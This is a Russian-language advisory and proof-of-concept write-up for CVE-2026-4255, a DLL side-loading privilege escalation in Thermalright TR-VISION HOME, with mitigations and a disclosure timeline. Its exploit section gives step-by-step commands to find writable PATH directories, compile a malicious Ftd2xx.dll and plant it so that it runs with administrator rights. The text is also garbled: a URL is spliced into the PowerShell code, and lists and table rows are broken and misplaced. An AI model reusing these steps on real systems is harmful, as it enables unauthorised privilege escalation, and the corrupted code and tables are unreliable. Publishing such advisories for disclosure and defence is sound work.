
Доказательство концепции для CVE-2026-4255: повышение привилегий через DLL-загрузку (side-loading) в Thermalright TR-VISION HOME с помощью внедрения каталога PATH, включая полный анализ первопричины и рекомендации по смягчению последствий.
Серьезность: ВЫСОКИЙ (CVSS 8.4)
CWE: CWE-829 Включение функциональности из недоверенной сферы управления
Опубликовано: 16/03/2026
CNA: Toreon
Затронутые версии: Thermalright TR-VISION HOME ≤ 2.0.5 (Windows 64-bit)
Обнаружено: Ard33
Thermalright TR-VISION HOME загружает Ftd2xx.dll (библиотека FTDI для USB-to-serial) с использованием стандартного порядка поиска DLL в Windows. Этот порядок включает каталоги, доступные для записи пользователем, перед защищёнными системными расположениями. Поскольку TR-VISION HOME всегда выполняется с административными привилегиями и не проверяет целостность или подпись загружаемых библиотек, злоумышленник, имеющий возможность записывать в любой каталог в PATH, может разместить вредоносную Ftd2xx.dll и добиться её загрузки с повышенными привилегиями при следующем запуске приложения.
Для размещения DLL не требуются права администратора. Пользователь с низкими привилегиями может использовать эту уязвимость против любого пользователя, который впоследствии запустит TR-VISION HOME с повышением прав.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
| Метрика | Значение |
|---|---|
| Вектор атаки | Локальный |
| Сложность атаки | Низкая |
| Требования к атаке | Нет |
Приложение вызывает LoadLibrary("Ftd2xx.dll") (или неявно импортирует её во время загрузки) без указания полного пути. Windows разрешает библиотеку, проходя по порядку поиска, определенному в MSDN: Порядок поиска динамически загружаемых библиотек:
C:\Windows\System32)PATH ← эксплуатируемоЗлоумышленник размещает Ftd2xx.dll в каталоге, доступном для записи пользователю, который располагается в PATH до System32. C:\Users\<User>\.local\bin — один из таких каталогов, присутствующий в PATH по умолчанию, что делает его надёжным местом для размещения.
| ПО | Версия | Платформа |
|---|---|---|
| Thermalright TR-VISION HOME | ≤ 2.0.5 | Windows x64 |
Протестировано на TR-VISION HOME 2.0.5 на Windows 11.
%PATH%1. Определение доступного для записи каталога в PATH
$env:PATH -split ';' | Where-Object {
if (-not $_ -or -not (Test-Path $_)) { return $false }
try {
$t = Join-Path $_ '.wrtest'
[System.IO.File]:https://raw.githubusercontent.com/ard33/cve-2026-4255/HEAD/:Create($t).Close()
Remove-Item $t -Force
$true
} catch { $false }
}
Надёжный вариант по умолчанию: C:\Users\<User>\.local\bin
2. Компиляция PoC DLL
MinGW (кроссплатформенный или нативный):
gcc -shared -o Ftd2xx.dll poc/Ftd2xx.c -Wl,--out-implib,Ftd2xx.lib
MSVC:
cl /LD poc\Ftd2xx.c /Fe:Ftd2xx.dll
3. Размещение DLL
Выберите любой доступный для записи каталог из шага 1. Два распространённых варианта по умолчанию:
:: каталог скриптов uv / pipx по умолчанию
copy Ftd2xx.dll "C:\Users\<victim>\.local\bin\Ftd2xx.dll"
:: Python Launcher (стандартная установка Python)
copy Ftd2xx.dll "C:\Users\<victim>\AppData\Local\Programs\Python\Launcher\Ftd2xx.dll"
Для этого шага не требуется повышение прав.
4. Запуск
Жертва запускает TR-VISION HOME (например, из меню «Пуск» или системного трея). Запрос UAC запускает приложение с административными привилегиями. Во время инициализации Ftd2xx.dll разрешается через порядок поиска, размещённая копия находится до System32, и DllMain злоумышленника выполняется в контексте повышенного процесса.
5. Ожидаемый результат
C:\Users\Public\CVE-2026-4255_pwned.txt, содержащий:
TokenIsElevated = YESProcmon показывает, как TR-VISION HOME (PID 78940) ищет Ftd2xx.dll в каталогах PATH — все возвращают NAME NOT FOUND, пока не будет найдена размещённая копия:

Ftd2xx.dll размещён в AppData\Local\Programs\Python\Launcher\ (дата 26/12/2025 — день обнаружения):

Оболочка cmd с повышенными правами, порождённая загруженной DLL — строка заголовка подтверждает контекст администратора:

TR-VISION HOME версия 2.0.5:

Для Thermalright:
Ftd2xx.dll с использованием полного пути во время выполнения:
LoadLibraryExA("C:\\Windows\\System32\\Ftd2xx.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
LOAD_LIBRARY_SEARCH_SYSTEM32 или LOAD_LIBRARY_SEARCH_APPLICATION_DIR с LoadLibraryEx.WinVerifyTrust.HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1), хотя это не полностью устраняет подмену на основе PATH.Для пользователей (временные меры):
Ftd2xx.dll (из пакета драйверов FTDI D2XX) непосредственно в каталог установки TR-VISION HOME (например, C:\Program Files\TR-VISION HOME\). Каталог приложения является первым местом поиска, поэтому легитимная копия там будет приоритетнее любой подмены на основе PATH.| Дата | Событие |
|---|---|
| 26/12/2025 | Уязвимость обнаружена |
| 27/12/2025 | Связались с вендором (Thermalright) через каналы поддержки |
| 16/03/2026 | Публичное раскрытие — CVE-2026-4255 присвоен Toreon CNA |
Данное подтверждение концепции предоставлено только в образовательных и исследовательских целях. Полезная нагрузка PoC намеренно безвредна — она записывает текстовый файл и показывает окно сообщения. Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Автор не несёт ответственности за неправомерное использование.
| Необходимые привилегии |
| Нет |
| Взаимодействие пользователя | Активное (жертва запускает приложение) |